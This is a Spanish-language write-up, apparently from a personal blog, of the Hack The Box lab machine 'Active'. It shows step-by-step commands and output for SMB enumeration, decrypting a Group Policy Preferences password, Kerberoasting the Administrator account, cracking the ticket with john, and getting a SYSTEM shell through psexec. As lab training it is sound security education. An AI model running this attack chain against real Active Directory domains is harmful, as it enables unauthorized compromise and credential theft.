Inicio Active HTB Write-up
Entrada
Cancelar

Active HTB Write-up

Resumen

Saludos, en esta oportunidad vamos a resolver la máquina de Hack The Box llamada Active, la cual tiene una dificultad easy. Para lograr vulnerarla realizaremos lo siguiente:

  • Enumeración del sistema, en este caso es de directorio activo (smbmap,smbclient,crackmapexec).
  • Obtención de contraseñas a través del archivo grupos.xlm de Group Policy Preferences.
  • kerberoast attack (Para escalar privilegios).

Reconocimiento y Enumeración

En primer lugar, se comprueba la correcta conexión en la VPN con la máquina utilizando ping:

1
2
3
4
ping -c 1 10.10.10.100

PING 10.10.10.100 (10.10.10.100) 56(84) bytes of data.
64 bytes from 10.10.10.100: icmp_seq=1 ttl=127 time=583 ms

Se observa que existe una correcta conexión con la máquina.

Para realizar un reconocimiento activo se utilizará la herramienta nmap, en búsqueda de puertos abiertos en todo el rango (65535) y aplicando el parámetro -sS el cual permite aumentar el rendimiento del escaneo, haciendo que las conexiones no se realicen totalmente (haciendo solo syn syn-ack):

1
sudo nmap -p- -sS -open -min-rate 5000 10.10.10.100

Al finalizar el escaneo, se pueden observar los puertos abiertos de la máquina víctima:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
PORT      STATE SERVICE
53/tcp    open  domain
88/tcp    open  kerberos-sec
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
389/tcp   open  ldap
445/tcp   open  microsoft-ds
464/tcp   open  kpasswd5
593/tcp   open  http-rpc-epmap
636/tcp   open  ldapssl
3268/tcp  open  globalcatLDAP
3269/tcp  open  globalcatLDAPssl
5722/tcp  open  msdfsr
9389/tcp  open  adws
47001/tcp open  winrm
49152/tcp open  unknown
49153/tcp open  unknown
49154/tcp open  unknown
49155/tcp open  unknown
49157/tcp open  unknown
49158/tcp open  unknown
49165/tcp open  unknown
49170/tcp open  unknown
49171/tcp open  unknown

Los puertos expuestos de la máquina nos hacen pensar que se trata de un directorio activo, sin embargo, realizamos un escaneo de los servicios expuestos utilizando nmap:

1
sudo nmap -sCV -p53,88,135,139,389,445,464,593,636,3268,3269,5722,9389,47001,49152,49153,49154,49155,49157,49158,49165,49166,49168 10.10.10.100 -oN ServiceScan

Como resultado del escaneo tenemos:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
PORT      STATE  SERVICE       VERSION
53/tcp    open   domain        Microsoft DNS 6.1.7601 (1DB15D39) (Windows Server 2008 R2 SP1)
| dns-nsid: 
|_  bind.version: Microsoft DNS 6.1.7601 (1DB15D39)
88/tcp    open   kerberos-sec  Microsoft Windows Kerberos (server time: 2023-02-06 23:23:35Z)
135/tcp   open   msrpc         Microsoft Windows RPC
139/tcp   open   netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open   ldap          Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name)
445/tcp   open   microsoft-ds?
464/tcp   open   kpasswd5?
593/tcp   open   ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open   tcpwrapped
3268/tcp  open   ldap          Microsoft Windows Active Directory LDAP (Domain: active.htb, Site: Default-First-Site-Name)
3269/tcp  open   tcpwrapped
5722/tcp  open   msrpc         Microsoft Windows RPC
9389/tcp  open   mc-nmf        .NET Message Framing
47001/tcp open   http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
49152/tcp open   msrpc         Microsoft Windows RPC
49153/tcp open   msrpc         Microsoft Windows RPC
49154/tcp open   msrpc         Microsoft Windows RPC
49155/tcp open   msrpc         Microsoft Windows RPC
49157/tcp open   ncacn_http    Microsoft Windows RPC over HTTP 1.0
49158/tcp open   msrpc         Microsoft Windows RPC
49165/tcp open   msrpc         Microsoft Windows RPC
49166/tcp closed unknown
49168/tcp closed unknown
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows_server_2008:r2:sp1, cpe:/o:microsoft:windows

Host script results:
| smb2-time: 
|   date: 2023-02-06T23:24:35
|_  start_date: 2023-02-06T22:55:57
| smb2-security-mode: 
|   210: 
|_    Message signing enabled and required

Efectivamente, estamos frente a un directorio activo. En primer lugar, se observa el puerto 445 abierto, el cual corresponde al servicio smb, por lo tanto, intentaremos realizar una enumeración del equipo y también si es posible de usuarios o recursos, para ello usaremos diferentes herramientas, la primera es crackmapexec:

1
2
3
crackmapexec smb 10.10.10.100

SMB         10.10.10.100    445    DC               [*] Windows 6.1 Build 7601 x64 (name:DC) (domain:active.htb) (signing:True) (SMBv1:False)

Se puede observar que es un DC y que el dominio es active.htb, por lo tanto, abrimos el /etc/hosts e ingresamos dicho nombre de dominio:

1
2
3
4
5
6
127.0.0.1       localhost
127.0.1.1       kali
::1             localhost ip6-localhost ip6-loopback
ff02::1         ip6-allnodes
ff02::2         ip6-allrouters
10.10.10.100    active.htb

Para de esta manera tener conectividad, para comprobarlo utilizamos ping:

1
2
3
4
ping -c 1 active.htb

PING active.htb (10.10.10.100) 56(84) bytes of data.
64 bytes from active.htb (10.10.10.100): icmp_seq=1 ttl=127 time=144 ms

Luego de comprobar lo anterior, probamos si se pueden listar archivos compartidos en la red, con la herramienta crackmapexec:

1
2
3
4
crackmapexec smb 10.10.10.100 --shares

SMB         10.10.10.100    445    DC               [*] Windows 6.1 Build 7601 x64 (name:DC) (domain:active.htb) (signing:True) (SMBv1:False)
SMB         10.10.10.100    445    DC               [-] Error enumerating shares: SMB SessionError: STATUS_USER_SESSION_DELETED(The remote user session has been deleted.)

Sin embargo, no fue posible. Para seguir la enumeración utilizamos smbmap:

1
2
3
4
5
6
7
8
9
10
11
12
smbmap -H 10.10.10.100

[+] IP: 10.10.10.100:445        Name: active.htb                                        
        Disk                                                    Permissions     Comment
        ----                                                    -----------     -------
        ADMIN$                                                  NO ACCESS       Remote Admin
        C$                                                      NO ACCESS       Default share
        IPC$                                                    NO ACCESS       Remote IPC
        NETLOGON                                                NO ACCESS       Logon server share 
        Replication                                             READ ONLY
        SYSVOL                                                  NO ACCESS       Logon server share 
        Users                                                   NO ACCESS

Tenemos capacidad de lectura en el recurso Replication, utilizando smbclient intentamos conectarnos utilizando sesión anónima:

1
2
3
4
5
smbclient //10.10.10.100/Replication -N

Anonymous login successful
Try "help" to get a list of possible commands.
smb: \> 

Logramos conectarnos, ahora buscaremos los archivos compartidos.

Dentro del directorio active.htb encontramos los archivos:

1
2
3
4
5
6
7
8
9
smb: \active.htb\> dir
  .                                   D        0  Sat Jul 21 06:37:44 2018
  ..                                  D        0  Sat Jul 21 06:37:44 2018
  DfsrPrivate                       DHS        0  Sat Jul 21 06:37:44 2018
  Policies                            D        0  Sat Jul 21 06:37:44 2018
  scripts                             D        0  Wed Jul 18 14:48:57 2018

                5217023 blocks of size 4096. 279628 blocks available
smb: \active.htb\> 

Estos archivos corresponden a los encontrados en el recurso SYSVOL, por lo tanto, puede ser que este archivo sea una replicación del mismo. Esto es peligroso debido a que existe un archivo llamado Groups.xml que puede contener contraseñas, por lo tanto, buscaremos dentro de los directorios por si lo encontramos.

1
2
3
4
smb: \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\> dir
  .                                   D        0  Sat Jul 21 06:37:44 2018
  ..                                  D        0  Sat Jul 21 06:37:44 2018
  Groups.xml                          A      533  Wed Jul 18 16:46:06 2018

Tenemos suerte, encontramos el archivo, por lo tanto, lo transferimos a nuestro equipo:

1
2
smb: \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\> get Groups.xml
getting file \active.htb\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Preferences\Groups\Groups.xml of size 533 as Groups.xml (0.9 KiloBytes/sec) (average 0.9 KiloBytes/sec)

Al abrir el archivo encontramos lo siguiente:

1
2
3
4
5
cat Groups.xml

<?xml version="1.0" encoding="utf-8"?>
<Groups clsid="{3125E937-EB16-4b4c-9934-544FC6D24D26}"><User clsid="{DF5F1855-51E5-4d24-8B1A-D9BDE98BA1D1}" name="active.htb\SVC_TGS" image="2" changed="2018-07-18 20:46:06" uid="{EF57DA28-5F69-4530-A59E-AAB58578219D}"><Properties action="U" newName="" fullName="" description="" cpassword="edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ" changeLogon="0" noChange="1" neverExpires="1" acctDisabled="0" userName="active.htb\SVC_TGS"/></User>
</Groups>

Si prestamos atención, podemos ver un usuario y contraseña:

1
2
name="active.htb\SVC_TGS"
cpassword="edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ"

Especificamente es un hash, por lo tanto, si se logra romper dicho hash podremos ver la contraseña en texto claro.

Explotación

Para crackear el hash se utiliza la herramienta gpp-decrypt:

1
2
3
gpp-decrypt edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ

GPPstillStandingStrong2k18

Teniendo un posible usuario y contraseña, los validamos utilizando crackmapexec:

1
2
3
4
crackmapexec smb 10.10.10.100 -u 'SVC_TGS' -p 'GPPstillStandingStrong2k18'

SMB         10.10.10.100    445    DC               [*] Windows 6.1 Build 7601 x64 (name:DC) (domain:active.htb) (signing:True) (SMBv1:False)
SMB         10.10.10.100    445    DC               [+] active.htb\SVC_TGS:GPPstillStandingStrong2k18 

Con las credenciales utilizamos smbmap:

1
2
3
4
5
6
7
8
9
10
11
12
13
smbmap -H 10.10.10.100 -u 'SVC_TGS' -p 'GPPstillStandingStrong2k18'

[+] IP: 10.10.10.100:445        Name: active.htb                                        
        Disk                                                    Permissions     Comment
        ----                                                    -----------     -------
        ADMIN$                                                  NO ACCESS       Remote Admin
        C$                                                      NO ACCESS       Default share
        IPC$                                                    NO ACCESS       Remote IPC
        NETLOGON                                                READ ONLY       Logon server share 
        Replication                                             READ ONLY
        SYSVOL                                                  READ ONLY       Logon server share 
        Users                                                   READ ONLY

Observamos que tenemos capacidad de lectura en el directorio Users, navegamos hasta el directorio personal del usuario SVC_TGS:

1
2
3
4
5
6
7
8
9
10
11
smbmap -H 10.10.10.100 -u 'SVC_TGS' -p 'GPPstillStandingStrong2k18' -r Users/SVC_TGS/Desktop

[+] IP: 10.10.10.100:445        Name: active.htb                                        
        Disk                                                    Permissions     Comment
        ----                                                    -----------     -------
        Users                                                   READ ONLY
        .\UsersSVC_TGS\Desktop\*
        dr--r--r--                0 Sat Jul 21 11:14:42 2018    .
        dr--r--r--                0 Sat Jul 21 11:14:42 2018    ..
        fw--w--w--               34 Mon Feb  6 17:56:46 2023    user.txt

Encontramos la flag de usuario, por lo tanto, la descargamos:

1
2
3
4
smbmap -H 10.10.10.100 -u 'SVC_TGS' -p 'GPPstillStandingStrong2k18' --download Users/SVC_TGS/Desktop/user.txt

[+] Starting download: Users\SVC_TGS\Desktop\user.txt (34 bytes)
[+] File output to: /home/kali/Downloads/10.10.10.100-Users_SVC_TGS_Desktop_user.txt

Lo abrimos (ocultamos la mitad de la flag):

1
2
3
cat 10.10.10.100-Users_SVC_TGS_Desktop_user.txt

f7a72e19020436212c3a6

¡Bien! hemos vulnerado la máquina, ahora toca convertirse en domain admin.

Escalada de privilegios

Como la máquina no tiene el puerto 5985 abierto no podemos realizar nada con respecto al grupo remote management use. Sin embargo, se puede intentar realizar un ataque kerberoast, para esto utilizaremos el GetUserSPNs.py, dependiendo de lo que responda podremos obtener el ticket:

1
2
3
4
5
6
7
GetUserSPNs.py active.htb/SVC_TGS:GPPstillStandingStrong2k18

Impacket v0.10.1.dev1+20230203.111903.32178de6 - Copyright 2022 Fortra

ServicePrincipalName  Name           MemberOf                                                  PasswordLastSet             LastLogon                   Delegation 
--------------------  -------------  --------------------------------------------------------  --------------------------  --------------------------  ----------
active/CIFS:445       Administrator  CN=Group Policy Creator Owners,CN=Users,DC=active,DC=htb  2018-07-18 15:06:40.351723  2023-02-06 17:56:58.570146 

Podemos observar que si, para obtener el ticket agregamos la flag request:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
GetUserSPNs.py active.htb/SVC_TGS:GPPstillStandingStrong2k18 -request

Impacket v0.10.1.dev1+20230203.111903.32178de6 - Copyright 2022 Fortra

ServicePrincipalName  Name           MemberOf                                                  PasswordLastSet             LastLogon                   Delegation 
--------------------  -------------  --------------------------------------------------------  --------------------------  --------------------------  ----------
active/CIFS:445       Administrator  CN=Group Policy Creator Owners,CN=Users,DC=active,DC=htb  2018-07-18 15:06:40.351723  2023-02-06 19:45:27.307178             



[-] CCache file is not found. Skipping...
$krb5tgs$23$*Administrator$ACTIVE.HTB$active.htb/Administrator*$8a915b03b8c2e698a01ebd0b0c67c164$04fd9de1a7886832b4ed8f449f4fd2452a538fc2069bc86165e2917cb568c5d8ed88
ba122d4629272d9db640fc719d726e3ea7fa041bcfba29ae3ceac3e605168e88a5f335fb9015564401ae64aa1352c6ba6057b19babd0ead9186194aaf2603dae85f8a22f6baecc5a4b849547b23ca8aca7899
fe3ab7d6e05a6377a1bcda8463f5041b63a5df66f3b62f74eba18f3110a0796351d0dfaa9b765a7a8f93c4027a25f90423c258a40f662908f676f8bf4d312a35e9d91ec477ae212bbae96cf39b46717d796a8
f5927999bbc7abec430df29f3e78328319c0e67d664a43df1cad6eb4b202fca448319975ebdf23d6ccd22488332a1ee5c61495f36477fe4caf0138faa078ea2bef5963a8f8856a202e4a2329a44363970b1d5
0944d3208fca98f3fe7f84fcfc82d14df458c3e10dc3123e313dd5536860cf79235ca969e3d515513e20402c9741188c18602f55ab44a8cfa9af174129f7481b86a686964301ffbbe25506cbfd915b7aa47c0
77ac327cb6f87a3981f15fa1822fc742b9151e33432aede1178898f96d56a07aaa92f255a0aaba7bb348f24f44184be4901909babe8ffc7c93d88c6aa87a4a9ef1def2ed5f10fa0e0b3e1d9d119d873af28a1
e3ccf02b1ddede5be00e51ae977bcdaf06064c3e499e2404ada87522b204f167e083032997df2f1f0179ccd44571b6db9ff371e2ca88ebdce6ed41637776a5400aa6116277a2bc07f62b7396db0c2f8aa3b21
fd376f1448286bc1902a4e3f47a6e4f8db97462bfbec89ba4b7520664ff9aa7c73f23e351772f20dabb7a8af9964cbf46b2d4c663f7043891a9fc7ad69c36da8b75a9f9727bdc342ac7605dbf25753dcf4883
be00cc61631522c179033345c99c562311fd47b08302ece8e41c32e802214c0addf369fdd3ccd8f6fd3ca705e0eaddf8ce7fcd3c24d3baec11a2544a3c43de7b1cf42e302fe4991d1a08f98ef4d5f3b87d927
24b5819a67460a760fab8e0cd50d8f6a35056e5175b4aa19565be1c98937bf71e3b29944c544220913b4284be18092a694f31b159d50aae15e9bcb329edeac0b9cc63d81a78b2cc5e2f680b44343697bedf40
1c95ac21d22faf2c7576273acebacfc1312c1f1f0020dd5e9c47d9a438f5249210961d2ed9dbe595d08de428344f72f5503d6785e5f100206be26017c118db6264015083ed00596eb4330e4c0bab1ea84372c
69050adb00fae353ffe94643fc202d00aef8f1080b49e967dbc90775fc104d

Tenemos el ticket, este hash debemos romperlo para obtener la contraseña, para ello se pueden utilizar diversas herramientas, en este caso utilizaremos john y el diccionario rockyou.txt:

1
2
3
4
5
6
7
8
9
10
john --wordlist=/usr/share/wordlists/rockyou.txt hash

Using default input encoding: UTF-8
Loaded 1 password hash (krb5tgs, Kerberos 5 TGS etype 23 [MD4 HMAC-MD5 RC4])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Ticketmaster1968 (?)     
1g 0:00:00:05 DONE (2023-02-06 19:54) 0.1972g/s 2078Kp/s 2078Kc/s 2078KC/s Tiffani1432..Thrash1
Use the "--show" option to display all of the cracked passwords reliably
Session completed. 

Observamos que la contraseña es Ticketmaster1968, para verificar si la contraseña corresponde a la de administrador utilizamos crackmapexec:

1
2
3
4
crackmapexec smb 10.10.10.100 -u 'Administrator' -p 'Ticketmaster1968'

SMB         10.10.10.100    445    DC               [*] Windows 6.1 Build 7601 x64 (name:DC) (domain:active.htb) (signing:True) (SMBv1:False)
SMB         10.10.10.100    445    DC               [+] active.htb\Administrator:Ticketmaster1968 (Pwn3d!)

Observamos que todo es correcto, además crackmapexec nos dice (Pwn3d!).

Como tenemos las credenciales de usuario administrador podemos intentar conectarnos por psexec.py, pues deberiamos tener capacidad de escritura en los recursos compartidos:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
psexec.py active.htb/Administrator:Ticketmaster1968@10.10.10.100

Impacket v0.10.1.dev1+20230203.111903.32178de6 - Copyright 2022 Fortra

[*] Requesting shares on 10.10.10.100.....
[*] Found writable share ADMIN$
[*] Uploading file LxLKUFfn.exe
[*] Opening SVCManager on 10.10.10.100.....
[*] Creating service iIYA on 10.10.10.100.....
[*] Starting service iIYA.....
[!] Press help for extra shell commands
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Windows\system32> whoami
nt authority\system

¡Entramos!

Ahora debemos encontrar la flag para ellos vamos al directorio personal del administrator:

1
2
3
C:\Users\Administrator\Desktop> type root.txt

1b55be15cf3b22b97b

!Listo!

Hemos vulnerado completamente la máquina hasta ser administradores.

Nos vemos, hasta la próxima.

Esta entrada está licenciada bajo CC BY 4.0 por el autor.